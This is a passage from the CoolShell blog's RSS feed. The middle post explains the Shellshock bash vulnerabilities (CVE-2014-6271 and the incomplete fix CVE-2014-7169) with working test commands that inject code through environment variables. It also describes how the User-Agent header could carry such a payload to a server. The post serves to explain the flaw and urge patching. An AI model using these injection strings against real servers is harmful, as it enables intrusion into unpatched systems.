/></p>\n<p>这里要指出的是，<strong>ST只负责自身thread调度，进程管理是应用程序的事情，</strong>也就是说由用户来决定fork多少进程，每个进程分配多少资源，如何进行IPC等。这种架构的好处就是每个vp有自己独立的空间，避免了资源同步竞态（比如杜绝了多进程里的多线程这样混乱的模型）。我们知道这种<strong>基于进程的架构是非常健壮的，一个进程奔溃不会影响到其它进程，同时充分利用多核硬件的高并发。</strong>同时对于具体逻辑业务使用vp里的thread处理，这是基于EDSM的，如此一来做到了<strong>逻辑业务与内核执行对象之间的解耦</strong>，没必要因为1K个连接去创建1K的进程。这就是ST的扩展性和灵活性。</p>\n<h4>使用限制</h4>\n<p>ST的主要限制在于，应用程序所有I/O操作必须使用ST提供的API，因为只有这样thread才能被调度器管理，并且避免阻塞。</p>\n<p>另一个限制在于thread调试，这本身不容易，好在v1.9的ST提供了DEBUG参数，使用TREADQ以及_st_iterate_threads接口检测thread调度情况，用户还可自定义_st_show_thread_stack接口dump每个thread的栈，在GDB使能_st_iterate_threads_flag变量，这些都在Readme中对调试方法有具体说明。按下不表。</p>\n<h4>总结</h4>\n<p>这篇文章写得有点短了，主要是通过对比来介绍ST的，其实还有大段原理可以讲，大段源码以及实战用例可以贴，但这一下子又写不过来，ST还是有点技术含量的。说白了，<strong>ST的核心思想就是利用multi-threading的简单优雅范式胜过传统异步回调的复杂晦涩实现，又利用EDSM的性能和解耦架构避免了multi-threading在系统上的开销和暗礁。</strong>学习ST告诉我们一个道理：<strong>未来技术的趋势永远都是融合的。</strong></p>\n<h4>参考</h4>\n<ul>\n<li>在<a title=\"sourceforge源码\" href=\"http://sourceforge.net/projects/state-threads/files/\" target=\"_blank\">SourceForge</a>以及<a title=\"github源码\" href=\"https://github.com/winlinvip/state-threads\" target=\"_blank\">github</a>上的源码：前者有历史版本及win32版本，后者只有v1.9。</li>\n</ul>\n<ul>\n<li><a title=\"State Threads for Internet Applications\" href=\"http://state-threads.sourceforge.net/docs/st.html\" target=\"_blank\">State Threads for Internet Applications</a>：介绍原理的，值得一看，<a title=\"中文翻译\" href=\"http://blog.csdn.net/win_lin/article/details/8242653\" target=\"_blank\">这里</a>有篇中文翻译附加单元测试（在单CPU 512M内存上创建数万个thread，CPU占用率约5%，内存约4.3K/thread）。</li>\n</ul>\n<ul>\n<li><a title=\"State Threads Library FAQ\" href=\"http://state-threads.sourceforge.net/docs/faq.html\" target=\"_blank\">State Threads Library FAQ</a>：本文基于此而写。</li>\n</ul>\n<ul>\n<li><a title=\"API手册\" href=\"http://state-threads.sourceforge.net/docs/reference.html\" target=\"_blank\">Complete reference</a>：API完全手册。</li>\n</ul>\n<ul>\n<li><a title=\"注意事项\" href=\"http://state-threads.sourceforge.net/docs/notes.html\" target=\"_blank\">Programing Notes</a>：编程注意事项，包括信号处理，IPC，非网络I/O事件等。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/10975.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"一个“蝇量级” C 语言协程库\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/10975.html\" class=\"wp_rp_title\">一个“蝇量级” C 语言协程库</a></li><li ><a href=\"http://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"http://coolshell.cn/articles/5987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"如何设计“找回用户帐号”功能\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/5987.html\" class=\"wp_rp_title\">如何设计“找回用户帐号”功能</a></li><li ><a href=\"http://coolshell.cn/articles/8309.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"C/C++语言中闭包的探究及比较\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/8309.html\" class=\"wp_rp_title\">C/C++语言中闭包的探究及比较</a></li><li ><a href=\"http://coolshell.cn/articles/8239.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" alt=\"无锁队列的实现\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/8239.html\" class=\"wp_rp_title\">无锁队列的实现</a></li><li ><a href=\"http://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/12012.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>50</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>bash代码注入的安全漏洞</title>\n\t\t<link>https://coolshell.cn/articles/11973.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11973.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 27 Sep 2014 23:56:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[Bash]]></category>\n\t\t<category><![CDATA[env]]></category>\n\t\t<category><![CDATA[export]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<category><![CDATA[安全补丁]]></category>\n\t\t<category><![CDATA[环境变量]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11973</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>很多人或许对上半年发生的安全问题“心脏流血”（Heartbleed Bug）事件记忆颇深，这两天，又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11973.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-11979\" src=\"https://coolshell.cn/wp-content/uploads/2014/09/bashbug-300x152.jpg\" alt=\"bashbug\" width=\"300\" height=\"152\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/09/bashbug-300x152.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/09/bashbug.jpg 315w\" sizes=\"(max-width: 300px) 100vw, 300px\" />很多人或许对上半年发生的安全问题“心脏流血”（Heartbleed Bug）事件记忆颇深，这两天，又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个漏洞由法国GNU/Linux爱好者Stéphane Chazelas所发现。随后，美国电脑紧急应变中心（US-CERT）、红帽以及多家从事安全的公司于周三（北京时间9月24日）发出警告。 关于这个安全漏洞的细节可参看美国政府计算安全的这两个漏洞披露：<a href=\"http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271\">CVE-2014-6271</a> 和 <a href=\"http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169\">CVE-2014-7169</a>。</p>\n<p>这个漏洞其实是非常经典的“注入式攻击”，也就是可以向 bash注入一段命令，从bash1.14 到4.3都存在这样的漏洞。我们先来看一下这个安全问题的症状。</p>\n<h4>Shellshock (CVE-2014-6271)</h4>\n<p>下面是一个简单的测试：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ env VAR=&#039;() { :;}; echo Bash is vulnerable!&#039; bash -c &quot;echo Bash Test&quot;</code></p>\n<p>如果你发现上面这个命令在你的bash下有这样的输出，那你就说明你的bash是有漏洞的：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">Bash is vulnerable!\nBash Test</pre>\n<p>简单地看一下，其实就是向环境变量中注入了一段代码 <strong>echo Bash is vulnerable</strong>。关于其中的原理我会在后面给出。</p>\n<p>很快，CVE-2014-6271的官方补丁出来的了——<a href=\"https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00081.html\" target=\"_blank\">Bash-4.3 Official Patch 25</a>。</p>\n<p><span id=\"more-11973\"></span></p>\n<h4>AfterShock &#8211; CVE-2014-7169 （又叫Incomplete fix to Shellshock）</h4>\n<p>但随后，马上有人在Twitter上发贴——<a href=\"http://twitter.com/taviso/statuses/514887394294652929\" target=\"_blank\">说这是一个不完整的fix</a>，并给出了相关的攻击方法。</p>\n<p><a href=\"http://twitter.com/taviso/statuses/514887394294652929\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-medium wp-image-11974\" src=\"https://coolshell.cn/wp-content/uploads/2014/09/bash-300x153.jpg\" alt=\"\" width=\"300\" height=\"153\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/09/bash-300x153.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/09/bash.jpg 582w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a></p>\n<p>也就是下面这段测试代码（注意，其中的sh在linux下等价于bash）：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">env X=&#039;() { (a)=&gt;\\&#039; sh -c &quot;echo date&quot;; cat echo</code></p>\n<p>上面这段代码运行起来会报错，但是它要的就是报错，报错后会在你在当前目录下生成一个echo的文件，这个文件的内容是一个时间文本。下面是上面 这段命令执行出来的样子。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ env X=&#039;() { (a)=&gt;\\&#039; sh -c &quot;echo date&quot;; cat echo\nsh: X: line 1: syntax error near unexpected token `=&#039;\nsh: X: line 1: `&#039;\nsh: error importing function definition for `X&#039;\nSat Sep 27 22:06:29 CST 2014</pre>\n<p>这段测试脚本代码相当的诡异，就像“天书”一样，我会在后面详细说明这段代码的原理。</p>\n<h4>原理和技术细节</h4>\n<p>要说清楚这个原理和细节，我们需要从 bash的环境变量开始说起。</p>\n<h5>bash的环境变量</h5>\n<p>环境变量大家知道吧，这个不用我普及了吧。环境变量是操作系统运行shell中的变量，很多程序会通过环境变量改变自己的执行行为。在bash中要定义一个环境变量的语法很简单（注：=号的前后不能有空格）：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ var=&quot;hello world&quot;</code></p>\n<p>然后你就可以使用这个变量了，比如：echo $var什么的。但是，我们要知道，这个变量只是一个当前shell的“局部变量”，只在当前的shell进程中可以访问，这个shell进程fork出来的进程是访问不到的。</p>\n<p>你可以做这样的测试：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ var=&quot;hello coolshell&quot;\n$ echo $var\nhello coolshell\n$ bash\n$ echo $var\n</pre>\n<p>上面的测试中，第三个命令执行了一个bash，也就是开了一个bash的子进程，你就会发现var不能访问了。</p>\n<p>为了要让shell的子进程可以访问，我们需要export一下：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ export var=&quot;hello coolshell&quot;</code></p>\n<p>这样，这个环境变量就会在其子进程中可见了。</p>\n<p>如果你要查看一下有哪些环境变量可以在子进程中可见（也就是是否被export了），你可使用<strong>env</strong>命令。不过，env命令也可以用来定义export的环境变量。如下所示：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ env var=&quot;hello haoel&quot;</code></p>\n<p>有了这些基础知识还不够，我们还要知道一个基础知识——shell的函数。</p>\n<h5>bash的函数</h5>\n<p>在bash下定义一个函数很简单，如下所示：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ foo(){ echo &quot;hello coolshell&quot;; }\n$ foo\nhello coolshell</pre>\n<p>有了上面的环境变量的基础知识后，你一定会想试试这个函数是否可以在子进程中调用，答案当然是不行的。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ foo(){ echo &quot;hello coolshell&quot;; }\n$ foo\nhello coolshell\n$ bash\n$ foo\nbash: foo: command not found</pre>\n<p>你看，和环境变量是一样的，如果要在子进程中可以访问的话，那么，还是一样的，需要export，export有个参数 -f，意思是export一个函数。如：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"4\">$ foo(){ echo &quot;hello coolshell&quot;; }\n$ foo\nhello coolshell\n$ export -f foo\n$ bash\n$ foo\nhello coolshell</pre>\n<p>好了，我讲了这么半天的基础知识，别烦，懂了这些，你才会很容易地理解这两个漏洞是怎么回事。</p>\n<p>好，现在要进入正题。</p>\n<h5>bash的bug</h5>\n<p>从上面我们可以看到，bash的变量和函数用了一模一样的机制，如果你用env命令看一下export出来的东西，你会看到上面我们定义的变量和函数都在，如下所示（我省略了其它的环境变量）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ env\nvar=hello coolshell\nfoo=() { echo &quot;hello coolshell&quot;\n}</pre>\n<p>原来，都用同样的方式啊——<strong>无论是函数还是变量都是变量啊</strong>。于是，看都不用看bash的源代码，聪明的黑客就能猜得到——<strong>bash判断一个环境变量是不是一个函数，就看它的值是否以&#8221;()&#8221;开始</strong>。于是，一股邪念涌上心头。</p>\n<p>黑客定义了这样的环境变量（注：() 和 { 间的空格不能少）：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ export X=&#039;() { echo &quot;inside X&quot;; }; echo &quot;outside X&quot;;&#039;</code></p>\n<p>env一下，你会看到X已经在了：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ env\nX=(){ echo &quot;inside X&quot;; }; echo &quot;outside X&quot;;</pre>\n<p>然后，<strong>当我们在当前的bash shell进程下产生一个bash的子进程时，新的子进程会读取父进程的所有export的环境变量，并复制到自己的进程空间中，很明显，上面的X变量的函数的后面还注入了一条命令：echo &#8220;outside X&#8221;，这会在父进程向子进程复制的过程中被执行吗？</strong>（关于fork相关的东西你可以看一下我以前写的《<a title=\"一个fork的面试题\" href=\"https://coolshell.cn/articles/7965.html\" target=\"_blank\">fork的一个面试题</a>》）</p>\n<p>答案是肯定的。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ export X=&#039;() { echo &quot;inside X&quot;; }; echo &quot;outside X&quot;;&#039;\n$ bash\noutside X</pre>\n<p>你看，一个代码注入就这样完成了。这就是bash的bug—— <strong>函数体外面的代码被默认地执行了</strong>。</p>\n<p>我们并不一定非要像上面那样创建另一个bash的子进程，我们可以使用bash -c的参数来执行一个bash子进程命令。就像这个安全漏洞的测试脚本一样：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">env VAR=&#039;() { :;}; echo Bash is vulnerable!&#039; bash -c &quot;echo Bash Test&quot;</code></p>\n<p>其中，() { :;} 中的冒号就相当于/bin/true，返回true并退出。而bash -c其实就是在spawn一个bash的echo的子进程，用于触发函数体外的echo命令。所以，更为友好一点的测试脚本应该是：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">env VAR=&#039;() { :;}; echo Bash is vulnerable!&#039; bash -c &quot;echo 如果你看到了vulnerable字样说明你的bash有安全问题&quot;</code></p>\n<p>OK，你应该明白这个漏洞是怎么一回事了吧。</p>\n<h4>bash漏洞的影响有多大</h4>\n<p>在网上看到好多人说这个漏洞不大，还说这个事只有那些陈旧的执行CGI脚本的网站才会有，现在已经没有网站用CGI了。我靠，这真是无知者无畏啊。</p>\n<p>我举个例子，如果你的网站中有调用操作系统的shell命令，比如你用PHP执行个exec之类的东西。这样的需求是有的，特别是对于一些需要和操作系统交互的重要的后台用于系统管理的程序。于是就会开一个bash的进程来执行。</p>\n<p>我们还知道，现在的HTTP服务器基本上都是以子进程式的，所以，其中必然会存在export 一些环境变量的事，而有的环境变量的值是从用户端来的，比如：HTTP_USER_AGENT这样的环境变量，只由浏览器发出的。其实这个变量你想写成什么就写成什么。</p>\n<p>于是，我可以把这个HTTP_USER_AGENT的环境变量设置成上述的测试脚本，只不过，我会把echo Bash is vulnerable!这个东西换成别的更为凶残的命令。呵呵。</p>\n<p>关于这个漏洞会影响哪些已有的系统，你可以自己Google，几乎所有的报告这个漏洞的文章都说了（比如：<a href=\"https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/\" target=\"_blank\">这篇</a>，<a href=\"https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability\" target=\"_blank\">这篇</a>），我这里就不复述了。</p>\n<p>注：如果你要看看你的网站有没有这样的问题，你可以用这个在线工具测试一下：<a href=\"http://shellshock.brandonpotter.com/\">&#8216;ShellShock&#8217; Bash Vulnerability CVE-2014-6271 Test Tool</a>。</p>\n<p>现在，你知道这事可能会很大了吧。还不赶快去打补丁。（注，yum update bash 把bash版本升级到 4.1.2-15.el6_5.2 ，<!-- <strong>但是这个版本还没有fix CVE-2014-7169，载止本文发布之时，目前还没有正式的CVE-2014-7169的补丁，你可以<a href=\"https://access.redhat.com/security/cve/CVE-2014-7169\" target=\"_blank\">关注Redhat的官方关于CVE-2014-7169 的 ticket</a></strong>--> ）</p>\n<h4>关于 AfterShock &#8211; CVE-2014-7169 测试脚本的解释</h4>\n<p>很多同学没有看懂下面这个测试脚本是什么意思，我这里解释一下。</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">env X=&#039;() { (a)=&gt;\\&#039; sh -c &quot;echo date&quot;; cat echo</code></p>\n<ul>\n<li>X='() { (a)=&gt;\\&#8217; 这个不用说了，定义一个X的环境变量。但是，这个函数不完整啊，是的，这是故意的。另外你一定要注意，\\&#8217;不是为了单引号的转义，X这个变量的值就是 <strong>() { (a)=&gt;\\</strong></li>\n</ul>\n<ul>\n<li>其中的 (a)=这个东西目的就是为了让bash的解释器出错（语法错误）。</li>\n</ul>\n<ul>\n<li>语法出错后，在缓冲区中就会只剩下了 “&gt;\\”这两个字符。</li>\n</ul>\n<ul>\n<li>于是，这个神奇的bash会把后面的命令echo date换个行放到这个缓冲区中，然后执行。</li>\n</ul>\n<p>相当于在shell 下执行了下面这个命令：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ &gt;\\\necho date</pre>\n<p>如果你了解bash，你会知道 \\ 是用于命令行上换行的，于是相当于执行了：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"> $ &gt;echo date</code></p>\n<p>这不就是一个重定向么？上述的命令相当于：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ date &gt; echo </code></p>\n<p>于是，你的当前目录下会出现一个echo的文件，这个文件的内容就是date命令的输出。</p>\n<p><strong>能发现这个种玩法的人真是个变态，完全是为bash的源代码量身定制的一个攻击</strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"http://coolshell.cn/articles/1399.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/09/bashprompts-hurring-150x150.jpg\" alt=\"8个实用而有趣Bash命令提示行\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/1399.html\" class=\"wp_rp_title\">8个实用而有趣Bash命令提示行</a></li><li ><a href=\"http://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"http://coolshell.cn/articles/11021.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png\" alt=\"从“黑掉Github”学Web安全开发\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11021.html\" class=\"wp_rp_title\">从“黑掉Github”学Web安全开发</a></li><li ><a href=\"http://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li><li ><a href=\"http://coolshell.cn/articles/6976.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/61e04755jw1drlo96bsktj-150x150.jpg\" alt=\"谈谈数据安全和云存储\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/6976.html\" class=\"wp_rp_title\">谈谈数据安全和云存储</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11973.html\">bash代码注入的安全漏洞</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11973.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>136</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>互联网之子 &#8211; Aaron Swartz</title>\n\t\t<link>https://coolshell.cn/articles/11928.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11928.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 07 Sep 2014 16:26:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Aaron Swartz]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Reddit]]></category>\n\t\t<category><![CDATA[SOPA]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11928</guid>\n\n\t\t\t\t\t<description><![CDATA[<p> 1986年11月8日，有个叫Aaron Swartz的人在美国芝加哥伊利诺伊州出生。因为他父母创办了一个软件公司，所以，Aaron在3岁的时候就接触到了电脑，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11928.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11928.html\">互联网之子 – Aaron Swartz</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-11929\" src=\"https://coolshell.cn/wp-content/uploads/2014/09/Aaron_Swartz_profile-216x300.jpg\" alt=\"Aaron_Swartz_profile\" width=\"216\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/09/Aaron_Swartz_profile-216x300.jpg 216w, https://coolshell.cn/wp-content/uploads/2014/09/Aaron_Swartz_profile-195x270.jpg 195w, https://coolshell.cn/wp-content/uploads/2014/09/Aaron_Swartz_profile.jpg 640w\" sizes=\"(max-width: 216px) 100vw, 216px\" /> 1986年11月8日，有个叫Aaron Swartz的人在美国芝加哥伊利诺伊州出生。因为他父母创办了一个软件公司，所以，Aaron在3岁的时候就接触到了电脑，然后就着迷了。</p>\n<p>我们先通过Aaron Swartz 的青少年时期来看一下他是怎么样的一个天才：</p>\n<p style=\"padding-left: 30px;\">12岁的时候Aaron就创建了一个类似于Wikipedia式的网站（那时还没有Wikipedia），13岁的时候，Aaron赢得为年轻人而设，创作教育及协同非商业网站的<a class=\"new\" title=\"ArsDigita Prize\" href=\"http://en.wikipedia.org/wiki/ArsDigita_Prize\">ArsDigita Prize</a>比赛首名。 奖品包括参观麻省理工学院及与网际网路界的知名人士见会。</p>\n<p style=\"padding-left: 30px;\">14岁的时候，他就成为了<a href=\"http://en.wikipedia.org/wiki/RSS\">RSS1.0</a>的开发组的一员。（后来，他和 <a title=\"John Gruber\" href=\"http://en.wikipedia.org/wiki/John_Gruber\">John Gruber</a>一起开发了Markdown）</p>\n<p style=\"padding-left: 30px;\">15岁的时候，进入W3C的 <a title=\"Resource Description Framework\" href=\"http://en.wikipedia.org/wiki/Resource_Description_Framework\">RDF</a> 核心工作组，并写了RFC3870——这个文档描述了一个新的media type &#8211; &#8220;<a title=\"RDF/XML\" href=\"http://en.wikipedia.org/wiki/RDF/XML\">RDF/XML</a>&#8220;，用于定义互联网上的“<a href=\"http://en.wikipedia.org/wiki/Semantic_Web\" target=\"_blank\">语义网络</a>”</p>\n<p style=\"padding-left: 30px;\">17岁进入斯坦福大学，1年半后，18岁的时候因为受不了教条式的教育缀学，并通过Y Combinator公司的夏季创办人计划成立Infogami软件公司，在那里，他设想了一个Wiki平台来实现他的Internet Open Library——一个开放的网络图书馆。并写了著名的web.py 开发框架。但他觉得自己太年轻，还要有一个合伙人，于是Y Combinator建议他和Reddit合并。于是他在19岁的时候成了Reddit的创始人</p>\n<p style=\"padding-left: 30px;\">虽然Reddit不挣钱，但是相当火，当他20岁的时候（2006年10月），他们把Reddit卖给了<a class=\"mw-redirect\" title=\"Condé Nast Publications\" href=\"http://en.wikipedia.org/wiki/Cond%C3%A9_Nast_Publications\">Condé Nast出版社</a>，据说挣到了百万美金。然后，他去了这家出版社工作，受不了办公室的那种工作环境，2007年1月离职。</p>\n<p>但是，你能想得到这么天才的一个人，于2013年1月11日自杀了么？那年他才26岁。</p>\n<p><span id=\"more-11928\"></span></p>\n<p>从前面Aaron的经历我们可以看到，他是一个特别喜欢Wiki的人，也是非常喜欢开放的人，但并不喜欢那些有CopyRight的东西，也也不喜欢那些循规蹈矩的东西，他喜欢质疑，他喜欢打破常规，他用生命坚持着互联网真正的开放精神。但是这样一来，必然会和守旧的世界相冲突。</p>\n<p>他在YC搞的那个Internet Open Library（互联网开放图书馆）的项目，他就想把那些没有Copyright的书籍和学术期刊放在网上让全世界的人免费查阅。<strong>他就认为固体的图书馆遮蔽了知识的传播，互联网理应成为连接书籍，读者，作者，纸张与思想的最好载体，他非常痛恨任何一家巨型的机构独吞所有书籍的做法。他想把Public Access 变成 Public Domain</strong>。在他的青少年时期，他就在不懈地和一切限制信息自由交换和自由共享的做法做斗争。这是他认为的互联网精神，他同时也觉得这和美国民主自由的宪法的精神是一致的。</p>\n<p>其中有一个例子是这样的，美国法院行政办公室有一个叫 <a 